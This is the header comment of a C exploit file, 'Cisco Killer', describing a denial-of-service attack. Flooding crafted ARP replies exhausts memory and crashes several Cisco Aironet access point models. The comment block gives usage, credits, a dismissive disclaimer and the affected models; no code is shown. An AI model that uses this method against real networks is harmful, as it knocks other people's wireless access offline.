// Cisco Killer - ciskill.c
//
// Usage: ./ciskill [device]
//
// Author: Pasv (pasvninja [at] gmail.com)
//
// Credit: This exploit takes advantage of a vulnerability that was
// discovered by Eric Smith on January 12, 2006 (bid:16217)
//
// Greets to NW, zimmy, GSO, and the rest.
//
// Description: The vulnerability exists in the way the affected versions
// below handle ARP replies, if enough specially crafted ARP packets are sent
// on the network with the affected systems it will cause the access point memory
// exhaustion which will in a few seconds (depending on the speed of the attacker
// and the memory of the target) crash the system, making all ingoing/outgoing
// traffic stopped.
//
// Disclaimer: I pity the foo who uses this exploit for evil, I take no responsibility
// for your actions (like a knife maker).
//
// Versions affected:
//  Cisco Aironet 350 IOS
//  Cisco Aironet 1400
//  Cisco Aironet 1300
//  Cisco Aironet 1240AG
//  Cisco Aironet 1230AG
//  Cisco Aironet 1200
//  Cisco Aironet 1130AG
//  Cisco Aironet 1100
// (this includes most linksys wireless access points)
